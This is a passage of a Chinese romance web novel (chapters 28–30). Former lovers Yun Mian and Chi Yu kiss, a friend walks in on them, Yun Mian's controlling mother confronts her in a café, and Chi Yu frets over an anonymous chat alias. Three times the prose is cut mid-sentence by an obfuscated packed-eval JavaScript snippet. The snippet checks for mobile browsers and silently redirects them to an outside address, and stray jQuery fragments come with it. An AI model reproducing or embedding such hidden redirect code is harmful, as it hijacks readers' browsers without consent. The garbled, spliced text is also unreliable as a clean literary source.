没听见云眠的回答，迟郁倏地几步走了过来，他腿长，不笑的时候气压低得很，这几步颇有压迫感，走出了要找人寻仇的既视感。 方琛在脑子里转了几个圈，也没记起自己哪里得罪他了。难道还是那99块钱？ “难道你俩很熟？”迟郁道。 他声音不咸不淡的，连眼皮都没抬，却带着股无名火。 云眠手在袖子下蜷着，忍着没出声。 “呃……”方琛道，“还、还行吧？刚认识。也不是很熟。” “不熟？”迟郁冷笑一声，“不熟还一起坐车啊。” 云眠隔着裤子掐了自己一把，才忍住没笑出声。迟郁这个样子真的怪可爱的，很像一只——一只炸毛的小狗。 “哈？”方琛愣了，下一秒便反应了过来，“不是，兄弟，你这吃的什么飞醋啊？更何况，人家也不是你女朋友啊……凭什么只跟你一个男的待儿一块。” 他声音越说越小，却分外清晰得传到了迟郁耳朵里。 实在刺耳，更刺心。迟郁下意识便想揍人，可胳膊都抬起来了，他硬是控制住，用余光瞄了一眼旁边的云眠。 他刚刚一直不敢看云眠。 这人叫什么？方琛？长得倒是还行，虽然比自己差了一大截，但穿得不错，屁话还多，云眠、云眠喜欢这种吗？ 仅仅一霎时撞入云眠的视线，迟郁眼泪就要滴下来了。 云眠没什么表情，轻皱着眉头，摇了摇头。 迟郁抿了下嘴唇。 “那啥。我还有点儿事。”方琛率先出声，指了指舞室，“我约了钢琴课来着，我先进去行吗？快迟到了，每分钟都是钱呢。” 云眠“嗯”了声：“拜拜。” 方琛扔下句“这都是误会”，便紧赶慢赶地溜了。 “拜拜。”迟郁重复了一遍。 云眠抬头和他对视：“这是人际交往。” 迟郁往前挪了一步，用小拇指勾她手指，声音闷闷的：“你不喜欢他吧？” “不喜欢。” 迟郁点头，手指用力摩擦着她掌心。 吃过晚饭，天更沉了。虽没下雨，但又冷又湿。火锅里的热气没半分钟就被稀释掉了。 云眠站在路边，不由自主地打了个喷嚏。 迟郁立刻把自己的外套脱了下来，披到她身上。外套仍有余温，带着淡淡的木质香调，在冷夜晚里烘得人发暖。 街边的挂钟敲了八下，滴答滴答声从左耳滑向右耳，云眠裹紧了外套，看向他肩头那脆红的皮肤，长睫垂了下：“你不冷吗？你穿着无袖。” 迟郁摇摇头：“不冷，穿着外套太热了。” “你还挺抗冻的。”云眠道，“那你带外套干嘛？” “给你带的。” 云眠突然闭嘴了。 她感觉这个氛围有点不对劲。这样有一搭没一搭的聊天，实在是……太像情侣了。 她清了清嗓子：“你有没有看昨天省里发的通知。” “看了。” 云眠有些意外。她是刚刚吃饭时才看见的，迟郁呢？他什么时候看见的？ 为了提高民众对中国舞的关注，也为了给首都增添一些生活色彩，官方决定从今年起，中国舞比赛采用更复杂的赛程，同时还会在后面的几场比赛中引入直播。 简而言之，原先一个月就能比完的比赛，现在要比几个月了。 “所以我们不光得练《小雨》了，最好是多准备几首……” “也就是说，我可以先自己练着……” 两道声音同时响起，旋即同时陷入沉默。 迟郁道：“……你不需要我了吗。” 云眠愣愣道：“你要一直帮我吗？” 她原本打算的，是如以前规划的那样。前几次小组赛不需要迟郁伴奏，用音响即可。等最后总决赛时才跳《小雨》。现在赛程变复杂了，那么她和迟郁的排练时间可以往后挪挪，等快要决赛时再练，毕竟总不能提前几个月就练习，太浪费时间了。 迟郁的意思……他愿意和自己从海选便一起参加？ - 临城的天不同于首都。夏天闷热多雨，淅淅沥沥的，只有接近初秋时才堪堪停下。 转晴两天，衣服终于晒干。云初芸收了一堆短袖，随手扔到床上，抬手拉开抽屉拿出一支烟。 思索再三，她最终还是没抽，又扔了回去。 拥挤杂乱的居民楼，楼上挂上了没拧干的衣服，水珠顺着滴答到阳台上，发出令人烦躁的声音。云初芸扔了个水盆接着，瞪了楼上两秒钟，最终也没吱声。 她百无聊赖地刷着手机，微信朋友圈一条都没有。云初芸无奈地笑了声，也对，她唯一的微信好友云眠可能已经把她屏蔽了。 这小姑娘，心里肯定恨死她了。不过没关系，她是为了自己女儿好，总有一天云眠会明白她的煞费苦心…… 云初芸刷着短视频，突然手指一顿，将刚刚扫了一眼的视频切了回来。 [爆！首都大学钢琴系新生颜值担当！听说以前是首都一中的校草！] 视频里是开学典礼，站在台上的男主持人一袭西装，眉清目秀，正口齿清晰地为自己学校做宣传。 名字很耳熟。 钢琴系，迟郁，首都一中。 云初芸突然反应了过来。 下一秒，她倏地拨打了云眠的电话号。 ——没人接。 刚刚晚上八点，既不是睡觉时间也不是上课时间，为什么不接？ 云初芸冒起了一个不好的念头。她绝对没记错，这个男生、这个男生就是高中时缠着云眠的那个！他们不是分手了吗！？怎么这么阴魂不散？ 不行。 她不能让别人影响自己的女儿。云眠不能重蹈她的覆辙。 云初芸用订票软件购买了最近的前往首都的车票，请好了假，便起身开始收拾行李。 - “啵”的一声。 云眠红着脸擦了擦嘴唇。 那边的迟郁脸上红得要滴血，眼神一错不错地盯着她，像要把她盯穿。 云眠抬起手遮了遮他的视线，心脏却剧烈跳动。 好 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16621196|187894||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 软。 迟郁的舌头好软。 她呼吸了几下，想从迟郁的腿上起身，却因为无力再次栽了下去，直直地撞入迟郁的胸膛，心跳如鼓，蝉鸣如鼓，咚咚的响声喋喋不休。 女生的长发轻轻垂着，丝丝缠绕着迟郁的衣服、胳膊、脖颈。又痒又热。 随着她的跌入，迟郁抬起手彻彻底底地揽上了她的腰。炙热的，诚恳的。 她跟迟郁，吻了，用舌头。 半小时前。 “……你不需要我了吗？” 又一声。 云眠反应过来：“啊？什么？” “你刚刚说，要自己练。为什么要自己练。”迟郁说，“你不需要我了吗？” “没有没有。”云眠连忙摆手，“赛程太长了，我们在决赛之前练就可以了。” “其他的曲子我也可以改，你想要什么风格我都能弹，我可以帮你搬道具，可以当你的小跟班。”迟郁说，“我什么都可以干。” 云眠没理解他的意思，挑了下眉。 “我入学成绩是专业第一。” “……”云眠点了点头。 “所以，你能不能用我啊？”迟郁从嗓子眼里憋出来几个字，“别用方琛。” “……”云眠傻了，“啊？” 一通解释后，云眠终于理解了他的小心思，带着半分无语道：“所以，你觉得我不喜欢方琛，还跟他有说有笑，肯定是想让他取代你？” “嗯。”半晌，他又补充道，“搭档跟未来男朋友两个身份，他哪个都不能取代。” 云眠话锋一转：“搭档我能理解。未来男朋友——什么时候内定是你了？” 迟郁神色一滞，没抬头，声音很小道：“只能是我。” 这四个字被云眠听了个清清楚楚，她一瞬间来了兴趣，再加上赛程拉长，训练时间便没那么紧张了，云眠盯着迟郁，心里泛起了一股坏心思。 “为什么只能是你？” 迟郁好看的眉毛一皱，平时总左边写着“拽”右边写着“高高在上”的脸此时皱成一团，看起来有些委屈：“从亲嘴搭子到搭档，下一步是男朋友才对。” 云眠很想逗逗他，于是便道：“谁告诉你的？我可没说过。” 迟郁又来牵她手指了。 云眠抽回手，认真道：“从搭档到男朋友，中间还有八百个身份。” “慢慢来。”迟郁说，“总有变成男朋友的一天。” 他眼睛炽热地盯着云眠，用整个手掌包裹住了她的手，传递着独属于迟郁的温度和占有欲：“反正只能是我……” 云眠手指一动，挠了挠他手心。 “那如果——我不想跟前男友谈恋爱呢？” 话音刚落，她突然后悔了。 迟郁整个人愣在了原地，这句话太过直接，并且太有针对性——还是只针对他一个人，一时之间，迟郁不知该怎么反驳，云眠也不知该怎么找补。 一瞬间，她便发现迟郁的眼睛里又盈了眼泪。 怎么这么爱哭。 更让云眠震惊的是，她突然发现，自己竟然是个变态。 她好喜欢看迟郁哭，甚至说错话的苦恼都瞬间抛在脑后了。 好想亲啊。 迟郁的舌头看起来好软，比嘴唇还软。 云眠想了，于是下一秒她便俯身吻了上去。 28. 冰凉 说实话，云眠觉得自己是有点不讲道理的。 迟郁亲她，是不可以的。但她亲迟郁，是想亲就亲的，随时随地的，不管迟郁是哭了还是如何……但这怎么能是她的错呢？谁让迟郁这么包容她的。 云眠在迟郁这里重拾了多年未见的骄纵，于是便爱上了恃宠而骄的感觉。 她刚把嘴唇贴上去，便触碰到了迟郁柔软的嘴唇，带着些许冰凉。带着少年的青涩与期盼，带着几分惊讶的向往，带着独属于迟郁的暖木调香气，烘得人暖洋洋的。 云眠细细体会了一会儿他微湿的唇角，便熟练地伸出舌头，小心翼翼舔了他一下。 好开心。 距离太近，她甚至能感受到迟郁的泪珠，在脸上凝结成雾。 也许是一回生二回熟。云眠这一次格外大胆，她从迟郁的唇角舔过，在唇瓣停留了片刻。 下一秒，她探向了唇缝。这里的触感没有那么细软，却格外让人怦然心动。 云眠吮吸了一下，便想退回去。 可令她意想不到的是——迟郁张开了嘴巴。 舌尖相触的瞬间。 云眠的心跳漏了一拍，大脑一片空白。 扑通、扑通。 她一时间忘记了呼吸。 只恍惚间看见那天夜色很浓，像泼了墨。 迟郁的嘴巴湿润又热，一吸一呼之间都重极了，让人喘不上气。 也不知过了多久，云眠突然有些腰软，这才发现两人正以一种极其暧昧的姿势挨在一起，唇间相抵，发丝纠缠。 她的手心能感受到迟郁颤动的睫毛，云眠心里发酸，颤抖着手想要移开。 迟郁会是什么表情呢？ 她咽了咽口水。 “砰——” 是门板撞在墙上的声音。 方琛一手拎着刚从便利店买来的零食，一手揉着眼睛：“靠，练琴累死我了，你们吃东西不？我买了——” “我草。” 字正腔圆的一声我草。 云眠和迟郁两个人都愣了。 云眠率先反应了过来。她人还坐在迟郁身上，手还捂着他眼睛，实在是行动不便。云眠先挪开了手，两人默契十足地错开了视线，没有对视，但余光都在盯着彼此。 随后，在方琛震惊万分又不知如何开口的十分复杂的视线中，云眠缓慢地起身，从迟郁身上移了下来。大腿不经意触碰的瞬间，她耳朵红了一寸，但仍是面无表情，甚至毫无波澜地站定。 这一切都做完了，她才出声：“有事吗？” 这是在问方琛。方琛半天没回过神，现在也没心情管吃不吃了，脑子里奔过一万句话，最后憋出来一句：“那什么，我现在去给你俩订个蛋糕？” 云眠莫名其妙：“要蛋糕干嘛？” “祝你俩纪念日快乐啊。”方琛脱口而出，“零周年。” 云眠笑出了声。 那边的迟郁也站起来了，同样没什么表情，但脸上跟上了八层腮红一样。 他们两个一个比一个能装。迟郁是在外人面前装，而云眠则是修炼了十几年的面无表情，外加一张无辜的脸。方琛眼瞅着他俩一点异常都没有，严重怀疑刚刚是自己出现幻觉了。 于是他清了清嗓子，斟酌了一下用词：“两位，你们刚刚是在亲嘴吧？” 迟郁冷哼一声：“关你屁事。” 云眠冷笑一声：“你看错了。” 好好。这两口子真是天生一对。 “所以你们现在是什么关系？我是电灯泡吗？”说完，方琛又指着云眠，“他现在追到你了？” 云眠道：“我们只是朋友。” “哦，行……”方琛思索，“能亲嘴的朋友，唇友谊啊？” 迟郁皱了下眉：“没事了就赶紧走，我们还要练琴。” 方琛这下更好奇了：“眠眠你还会弹琴啊？” 迟郁表情不怎么美妙。他不喜欢云眠跟其他男生聊天，但也不能干涉她交朋友，于是一声不吭地杵了旁边。 云眠点头：“嗯。不过我们要练的是比赛内容，就不能让你知道了。” “嗨。没事没事，完全理解。”方琛翻了翻手里的袋子，“不过一起吃点东西总行吧？” 话虽如此，但云眠和迟郁都刚吃过晚饭，不怎么饿，吃了一点后便打算练琴了，方琛只能拎着自己的袋子回自己的琴房。 走之前，他没忘转过头打量着两人，压低了声音：“我保证待会绝对不过来，你们可以放心大胆地继续亲了。” 他这话是冲着云眠说的。不用脑子想都能知道，如果迟郁敢主动亲云眠，那他俩不可能只是朋友关系。 哎，迟郁啊，加油吧。这样想着，方琛晃着自己新烫的卷发，一步三回头地走了。 他话说得随意，但传到两人耳朵里，就不那么随意了。 云眠这才后知后觉地反应过来，她又把人给强吻了，不仅如此，还是……舌吻，是以前谈恋爱时都没有过的舌吻。 还是在迟郁哭的时候，哭的原因还是被自己惹的。 此时屋里只剩下她和迟郁，云眠酝酿了半天，伸手戳了他一下：“我们去练琴？” 迟郁“嗯”了一声。 云眠抿了抿嘴唇，她本就生得清丽，唇红齿白，现在嘴巴泛着红，看起来无辜又迷人。 迟郁心里发痒，不由得怀念起刚刚的感觉。 没等他说话，云眠先坐不住了，轻轻开口：“那个……方琛刚刚说的，你别放心上。” 迟郁有一瞬间不开心，但还是“嗯”了一声。 “你怎么不问我指的是什么啊。”云眠道。 “纪念日。”迟郁语气很淡，“今天不是。” 云眠有些不敢和他对视，很快转过头去：“哦……” “那我刚刚说的，你也别放心上了。” 迟郁眼都红了，手指蜷了又蜷，最终还是收起手，答应了。 - 盛夏很快被卷走，秋天出人意料地降临了。 这几天云眠经常和迟郁一起排练，迟郁有时会穿着篮球队服，但每次都比她提前到。 云眠算了算日子，篮球赛将近，她便让迟郁先专注篮球赛，自己独自准备着赛程初期的内容。 烫花也没落下。练舞空隙，她常会带着烫花工具蹲在地上做着，权当放松。 烫完最后一只嫩白色洋桔梗，云眠拍下照片发送给自己的“顾客”。 手机振动了一下。屏幕亮起，却发现发来消息的并不是“hxhmmzmb”。 而是云初芸。 那天她和迟郁排练完，发现有云初芸的未接电话，便随口解释了一番，而妈妈也没有再回复她。 云眠接起电话，夹在肩头，语气轻松道：“怎么了，妈？” “我在你学校门口，出来。” 云眠心里警铃大作。 这句话带来的回忆并不美好，上次听见这句话，她被云初芸劈头盖脸骂了一顿又被逼着分手。这次呢？ 云眠没注意到自己声音里的些许颤抖：“我上课呢妈，你怎么来了？有事吗？” “你上没上课你心里清楚。”云初芸冷笑一声，“云眠，我看你真是胆子大了。” “……” 云眠彻底沉默了。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16621197|187894||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>她好像什么也没做吧？ “快点！”云初芸在那边吼了一声，“我刚下火车，别让我等。” “你左转，有个咖啡厅。”云眠说，“进去等我吧。” 云初芸扫视了一圈，终于找到那个咖啡厅。她做下点了两杯咖啡，短短几分钟时间，云眠便到了。 隔着透明玻璃，云眠第一时间发现了妈妈。云初芸明明生得漂亮又有气质，毫不怀疑地讲，云眠认为自己只遗传到了她二分之一的美貌。 但云初芸穿着朴素的衣服，自从那年变故后，云眠从没在她脸上见过笑容。那张笑起来摇曳生姿的脸总是僵硬地板着，说话也冷，原本保养得细腻白皙的手不知已磨了几个茧。 云眠坐到了对面。 云初芸从手机里抬起头，默不作声地打量她。 “说吧，什么事。” “你这是跟你妈说话的态度吗？” 云眠乖巧地垂下眼：“对不起，妈。” 云初芸这才满意，将咖啡往前挪了一下：“喝吧。” 云眠想说自己不喝咖啡，但最终还是没出声，浅浅抿了一口。 好苦。她心想。 “高中喜欢你的那个，什么来着？大少爷，考上你们学校了？”云初芸开门见山。 云眠一下便明白了她的意思。 “看你这表情——你是知道这回事啊？” 云眠放下咖啡，话里听不出情绪：“他很优秀，主持了开学典礼。” “是啊，又优秀又有钱的，怎么就来首都大学了？”云初芸多了几分皮笑肉不笑，“该不会是为了你吧，云眠。” “妈。”云眠打断她，“首都大学是国内最好的学校，想来的人有很多。” “你还学会顶嘴了？” 云眠抬眼：“你订的几号回去的车票？” 云初芸下意识想拍桌子，但不知想到什么，面色一变，用右手骨节狠狠敲了下，声音不大也不小，刚好只够两人听见。 “怎么，提起他，你不乐意了？” “你的控制欲太强了。”云眠说，“你不光想控制我，还想控制别人吗？他想考什么学校，我们凭什么决定。” 云初芸脸上一阵红一阵青，想撩头发，却发现她早已剪了短发。突然意识到这一点，她心里落寞了一秒，直截了当道：“他影响了你，就不行。” 云眠注意到她的动作，嘴上没说，但心里不免触动。她那个烂爸一走了之后，云初芸一蹶不振，再也不像从前，头发一直留得极短，但还是保留了从前的习惯。 云眠沉声道：“妈。没有人会影响我的。” 如果有的话，也只有你…… “更何况，影响也要分好坏。不能因为……你曾经吃过亏上过当，就断绝了我的选择吧。不能因为，曾经心里有什么伤痕，就永远沉浸在过去吧？” “我以前有和你说过，你有我，我有你，就是家。我们可以过上更好的生活，我保证比从前还要好。” 云眠话里带了几分期许：“难道我现在活得不好吗？” 我很好，妈妈。我很好。 我也有在努力，想要带着你一起变好的。你相信我吗，妈妈？ 紧张，又期盼。云眠睫毛在颤抖，她在等。 云初芸看了她一眼：“不好。” 云眠心里一根弦断了。 “你和他在一起，就是不好。”云初芸很快转过头去，注意力转移到了云眠带来的包。拉链外露着一个尖尖头，布做的，淡粉的颜料晕染。云初芸一霎时呆了。 下一秒，她控制不住地站了起来。 “你包里是什么！？” 29. 失恋 云眠顺着她的目光望去—— 一支烫花，白色洋桔梗上映着细粉色，是她刚刚做好的，拍照后便随手一放。翠绿的枝叶拖着嫩白花枝，乖顺又安静地躺在她黑色的包里。 如此生动的画面，却让云初芸顿时如雷声暴起。 云眠突然觉得很累，盯着对面的云初芸半天都没说话，直到她手指敲击桌面的频率越来越冷，准备再次发作前，云眠吸了口气，道：“是烫花。” 明明两个人都心知肚明，不会有人比云初芸更熟悉这种花了。但云初芸仍旧一副大惊失色的样子，带着几分愤然道：“你做这个干什么！” 云眠也不知道该怎么解释，这就像吃饭喝水，或者去便利店买瓶饮料一样，没有原因，也不需要原因。她又吸了几口气，干脆给云初芸添了把火：“卖钱。顺便做着玩。” 云初芸不出所料地爆炸了。 她先是以极大的震惊表达自己的不满与愤怒，又以肢体动作向云眠示威，一句话没说，但足以引得整个咖啡馆的人注目。 也就是在这时，云眠反而觉得顺心。云初芸像是不习惯他人的注视般躲闪，一时间重视审视起自己的外貌与举止，并且因自己粗糙的头发、朴素乱造的装扮而手足无措。 人生有几年可以蹉跎呢？审美是不同的，但云眠十分熟悉云初芸的秉性。她最爱长发及腰，最爱纤纤玉手，最爱碎花雪纺连衣裙，但却因为一个烂男人的离去而一蹶不振，几年没有碰过真正的热爱。 结婚了，可以离。遇上不好的人了，总有下一个好人。但时间过去了，就是过去了。如此简单直白的道理，云眠懂得，可云初芸竟然不懂。 时至今日才发现自己穿着并不喜欢的衣服。 这样想着，云眠心里那股火也渐渐下去了，她对着妈妈勾了下嘴角，尽量让自己的声音显得温和：“妈。” 云初芸怔然地看了她一眼。 “现在烫花的前景也很好的。”云眠斟酌着如何让她接受，说得尽量委婉，“不管是网店还是线下都有发展前景，更何况你的技术还比我好呢。” 为了缓解氛围，云眠开了个玩笑：“该不会这么多年过去，你忘了怎么做烫花了吧？” 云初芸目光呆滞，像在喃喃自语：“这……我倒是没忘，忘了什么我也不会忘了这个的。我一直都记得。” 她声音越来越低：“但是都这么久了，都这么久了，我还要重新开始？我还能做这个吗……？” “什么时候开始都不晚，妈。” “不不不，不行，不行的。”云初芸摇头，突然反应过来，喊了一声，“你别跟我说这个！” 这一声又引来旁人的关注，云初芸愣了一下，腾地站起：“总之我该奉劝你的都说了，你跟那个什么迟保持好距离！别弄些乱七八糟的事！烫花也不准做了！” 云初芸低头收拾着包，突然抬头，没头没脑的冒出来一句：“对了，你没跳舞吧？” 云眠眼睛黯了一瞬：“没。” “嗯。那就行。”云初芸冷声道，“好好学你的数学系，以后找个正经工作。” 目送着云初芸离开后，云眠咬着吸管，安静地喝完了整杯咖啡。很苦，一如既往的苦，她自嘲般笑了下：“果然我还是不喜欢咖啡。” 沉默了一会儿，她点开手机的搜索软件，不停敲敲改改。 [心理疾病有什么类型？] [心理疾病怎么治疗？] [什么原因会导致心理疾病？] 可没过多久，云眠又全部退了出去。 让云初芸去看医生，恐怕比登天还难。这件事还得一步步解决。在脑子里构思了一会儿，云眠才从沉浸的状态中脱出，发现云初芸走前竟然给她发了消息。 [妈：我到车站了，你记得我说的话，别再犯。] [妈：转账10000元。] [妈：学好你的习。烫花……不是你该做的。] 云眠收了钱，对其他的熟视无睹。 退出去时她才看见，迟郁也给她发了消息。 [迟郁：你最近一直自己训练吗？] [迟郁：有没有需要我的地方，我都有时间。] [迟郁：听说后街的出了新口味的冰糖葫芦，我顺路给你带几串怎么样。] [迟郁：没看消息吗？QAQ] [迟郁：小猫等待.jpg] 也许是看她太久没有回复，那边的“hxhmmzmb”也发来了消息。 [hxhmmzmb：成品很漂亮！喜欢！] [hxhmmzmb：你的技术真好。] [hxhmmzmb：对了，想问问你最近怎么样？] 迟郁以为自己隐藏的很好吗？云眠心想。她就算再傻也该看出这是迟郁了，这太明显了。 [眠眠：体育场到后街，再怎么走也不顺路吧。] [眠眠：最近过得还好，你呢？] 出人意料的。率先回复她的竟然是乱码id。 [hxhmmzmb：我也还好，不过我有一件事想问问你。] [hxhmmzmb：你之前说的那个，网恋……] [hxhmmzmb：其实吧，我想问问……] 云眠心下一紧。 [hxhmmzmb：网恋。最近也挺流行的嘛。] [hxhmmzmb：如果你找男朋友。] [hxhmmzmb：考虑。] [hxhmmzmb：网恋吗。] [眠眠：我们认识时间挺短的吧……] [hxhmmzmb：我不是要跟你网恋的意思。] [hxhmmzmb：我只是好奇你的择偶标准，毕竟每个人都不一样嘛。有的人不喜欢个子矮的，有的人不跟前任复合，之类的。] [hxhmmzmb：我也没什么异性朋友，只能问你了。] 云眠失笑。太过明显了吧？ 她有时真的搞不懂迟郁是不是故意的，可直接拆穿并不符合她的性格。云眠的恶劣像猫，对于好玩的事，她总是不怀恶意地想着，再玩会儿，再玩会儿，不要停下来。 可这件事情放到感情上就有点过分了。 虽然追过自己的人很多，但云眠的感情经历并不丰富，她只和迟郁谈过。所以自然也无从得知其他人对于感情的看法，云眠自己认为对于爱情不能够儿戏，也不能故意耍人玩。 而迟郁对于感情，似乎只要是云眠，那就怎样都可以。 一时间她不知道该怎么做了。那不如……从心？ 反正爱情无非是爱或者不爱，那么只要做自己就好。 思考了片刻，云眠咬着吸管点击发送。 [眠眠：可以考虑呀。] [眠眠：你是想跟我网恋吗？] 对面再 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16621198|187894||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 没说话了。 云眠有时真的不懂迟郁在想什么。说到底，亲都亲了，难道同样的情况下，自己会和刚认识不久的人网恋，都不会和迟郁复合吗？ ——不应该呀。 一个想法在脑中闪过，被云眠精准地捕捉到了。难道是前几天，她说不和前男友谈恋爱，迟郁记住了？ 那么就有可能了。 “太荒唐了。”云眠失笑，“迟郁该不会在哭吧。” 真的在哭。 收到这个消息的迟郁连队服都没脱，站在宿舍浴室前就哭了，他都不理解自己在矫情个什么劲儿。 李朝阳拎着毛巾准备去洗澡，一打眼就看见了杵在门口的迟郁。自从打架后，他没跟迟郁说过一句话，但现在迟郁占据了前往浴室唯一的道路，不说也得说了。 他没好气地吐了一句：“迟少爷看门呢？” 听见这话的迟郁难得没和他呛，垂着头沉默不语地走了。 李朝阳傻了。首先迟郁不聋，肯定听到了，没骂回来就算了。其次，他刚刚不小心看到迟郁脸上挂着几滴眼泪。 不是吧？？迟郁被他一句话说哭了？？ 啊？？？ 他这下澡也顾不上洗了。一把冲过去抓起了徐帆，结巴半天都没说出完整的句子。 徐帆游戏打到一半，皱了下眉道：“你干啥？” “你看到迟郁哭了没？？” “嘁。”徐帆嘲讽道，“可能是手痒了吧，你让他打一顿就好了。” “我没跟你开玩笑——” “你们两个。”迟郁冷冷的开口，声音一听就是刚哭过。 徐帆和李朝阳面面相觑，等着他下一句话。 “算了。”迟郁说完这句，就把自己蒙进了被子里，下一秒，他突然钻出来，“谁有方琛的联系方式？” 两人争抢着把方琛推过去了。 但迟郁没加，他不知道该怎么开口，也不知道自己现在处于一种什么样的处境。把恋爱搞砸了？不，根本没恋过。自己没可能了，但小号还有机会？可他去哪弄一个假身份，假脸啊！ 迟郁紧紧抓着被子，没一会就喘不上气了，露出半颗脑袋呼吸。结果刚一转头，便对上了站在他床旁边的方琛。 “我草！” “我草！” 两道声音同时响起。 方琛大喊：“你要把人吓死啊！” 迟郁一翻身坐了起来：“你站我床边干什么？” “我听说你失、失恋了？”方琛边说边回头，征求到了另两人的肯定后才继续说，“对，失恋了。所以特意来看看你。能让迟大少爷大中午趴在被子里哭的只能是失恋了吧？你被云眠甩了？” 一连三个“失恋”和一个“被甩”，把迟郁轰了个五雷轰顶，没什么好脸色，但不得不承认，以他对恋爱的研究，他得琢磨到明年才能知道现在的状况。 于是他一五一十地跟方琛讲了。甚至忽视了李朝阳和徐帆也在，这两人一个下巴掉到肩膀，一个下巴掉到地上，心说没想到迟郁恋爱经历比自己还少。 方琛则是秉持着职业素养，愣是没笑，认认真真地分析：“你这个情况吧，我有个办法。” “你说。” “还记得我发你的《追女生超绝108式》吗？” 迟郁点了点头。 方琛一副孺子可教的样子：“没错，我们使用第二式——贿赂。” 30. 黄昏 “贿赂？”迟郁重复了一遍。 “对！就是贿赂！”方琛得意道，“我问你，你们家云眠有没有什么好闺蜜，好朋友？” 迟郁对“你们家云眠”五个字很是受用，他下意识勾起了嘴角，可一想起方才的遭遇，嘴角又耷拉了下去。好似一只被迎头泼了冷水的小狗，无意识地轻轻晃着尾巴，却因为心情低落而始终翘不起来。 思索了片刻，迟郁问：“……舍友算吗？” 方琛点头：“当然算啊！来，我教你……” 迟郁没动，一双眼睛还泛着刚哭过的红。迟大少爷平时懒得跟别人废话，也懒得跟别人笑，走到哪儿都一副“谁都别烦我”，“再说话揍你”的拽样，现在哭成这样…… 方琛没见过，他有点想笑，但没敢。 迟郁无声抽了抽鼻涕：“真的管用吗？” “当然！我告诉你啊，整个首都没人比我更会追人了。就凭兄弟你高价购入我的攻略，我绝对不会坑你的。” 闻言，李朝阳和徐帆率先做出了反应——一人翻了一个大白眼。 方琛没理他们，继续给失恋中的迟少爷分析：“其实吧，我觉着你还是有希望的。” 迟郁眼睛亮了一瞬。 “实在不行，你就答应跟她网恋嘛！” 又灭了。 迟郁沉默地扭头，边抽鼻子边将自己裹进了被子里，最后从被子里挤出一个字：“滚。” “哎哎！”方琛喊道：“你先听我说完再睡也不迟嘛！” 迟郁露出脑袋：“说。” “你看啊，你现在也在通过小号知道你家眠眠的近况对吧——” “你不准叫眠眠。” 方琛噎了一下：“行行行！云眠！你家云眠！” 他继续道：“那既然这样，你就跟她谈呗，也有了合适的身份了对不对？以后天冷了你也能嘘寒问暖了饿了也能点外卖了——” 李朝阳插嘴道：“他现在也能啊。” 方琛送他一记眼刀：“但是你不能越界啊！‘朋友’跟‘男朋友’还是不一样的吧？万一哪天云眠在深夜里哭了，有什么受伤的事情了，你以迟郁的身份问她，她会告诉你吗？不会啊！” “但你俩谈着恋爱那就不一样了，你可以名正言顺、光明正大、顺理成章地关心她。” 迟郁听着，思绪却飘得越来越远。 他想起那天暴雨，便利店外，雨点打湿的，云眠湿漉漉的脚踝。 亦或是那天晨昏，七点钟声敲过，街角路口，云眠离开他怀抱时留下的余温。 和那双小鹿般的眼睛。 首都的雨季何时会过去呢，他希望云眠永远不要难过。 永远不要在深夜里哭。 永远不要受伤。 哪怕不是以“迟郁”的身份。 “好。”迟郁脱口而出。 可话一出口，他又有些后悔，心里泛起酸涩。 那要是。 “那要是云眠真的喜欢上他怎么办。”迟郁说。 “你俩是同一个人啊！”方琛说。 “如果她不这么希望呢？如果她说要。”迟郁小声道，“奔现。” 方琛怪异道：“你拒绝不就行了？” 迟郁一愣。 “要是你不想奔现，那你就拒绝呗，然后说分手呗。” 迟郁没应话。 他想他这辈子都不会和云眠说分手，都不会拒绝云眠吧。 方琛不知从哪翻出一个本子，叼着笔边写边说：“再说回贿赂，你要知道，女生是非常重视友情的，她们会平时一起吃吃饭啊逛逛街啊。这种情况下，如果，她的朋友聊着聊着说起你，说你人不错！哎！你说云眠会怎么想？” 迟郁说：“怎么想？” “肯定回加好感啊！加一加一懂不懂！你想啊，如果她舍友都觉得你人很好，你们万一吵个架呀拌个嘴呀，也会帮你去说说话对不对？”方琛循循善诱。 迟郁“嗯”了一声。 - 这一切，云眠对此一无所知。 她仍旧坐在咖啡厅的座位上，百无聊赖。这是工作日的下午，黄昏倾斜，窗外风卷残叶，可室内一片寂静，只有噼里啪啦的打字音。 “我应该回去练舞。”云眠心想。 可她不想动。 手机里再没有了消息，没有迟郁的，没有hxhmmzmb的，也没有云初芸的。 “这样也挺好。”云眠喃喃自语，“清净。” 她难得的有如此一段时间，闲暇，空无着落，无所事事。 云眠发了会儿呆，便去找咖啡厅角落的女生借了一张白纸，对方在听到她说要拿去做数学题时，脸上浮现出了见鬼的表情。 